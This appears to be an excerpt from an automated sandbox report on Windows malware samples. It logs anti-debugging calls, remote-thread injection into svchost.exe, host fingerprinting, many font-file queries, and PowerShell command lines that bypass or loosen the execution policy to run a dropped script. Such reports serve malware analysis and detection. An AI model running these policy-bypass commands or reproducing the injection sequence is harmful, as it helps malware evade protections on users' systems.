Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C68587 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_02C68587
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001EA44A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_001EA44A
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001E4647 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_001E4647
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001E116F __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_001E116F
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001E18F6 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_001E18F6
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F537A51 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_5F537A51
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001E4647 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_001E4647
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001E116F _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_001E116F
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001E18F6 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_001E18F6

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_037777E0 Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread,

4_2_037777E0

Contains functionality to inject threads in other processes

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

4_2_037777E0

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\SysWOW64\svchost.exe		4_2_037777E0
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\System32\svchost.exe		4_2_037777E0

Source: C:\Users\user\Desktop\zhuzhu.exe	Process created: C:\Users\user\Desktop\._cache_zhuzhu.exe "C:\Users\user\Desktop\._cache_zhuzhu.exe"	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Process created: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe "C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1

Source: ._cache_zhuzhu.exe, 00000004.00000002.4160565471.0000000003A04000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: inProgram Manager
Source: inst.exe, 00000007.00000002.4159349307.0000000062BE5000.00000002.00000001.01000000.00000012.sdmp, sites.dll.7.dr	Binary or memory string: gShell_traywnd.
Source: inst.exe	Binary or memory string: Shell_traywnd

Source: C:\Users\user\Downloads\inst.exe

Code function: 7_2_001665C0 cpuid

7_2_001665C0

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,	4_2_03775430
Source: C:\Users\user\Downloads\inst.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_001F7AB2
Source: C:\Users\user\Downloads\inst.exe	Code function: GetLocaleInfoA,	7_2_0020C813
Source: C:\Users\user\Downloads\inst.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetACP,	7_2_001F7569
Source: C:\Users\user\Downloads\inst.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_001F7A4B
Source: C:\Users\user\Downloads\inst.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itoa_s,	7_2_001F7AEE

Source: C:\Users\user\Desktop\zhuzhu.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\{D5BF8E62-3285-45ad-A7CB-467DE934221E}.tmp VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\{B7A42130-77F9-4b13-8C0B-EB34FF385D20}.tmp VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\{2E43FD7B-E729-4283-947B-1D49591810C4}.tmp VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
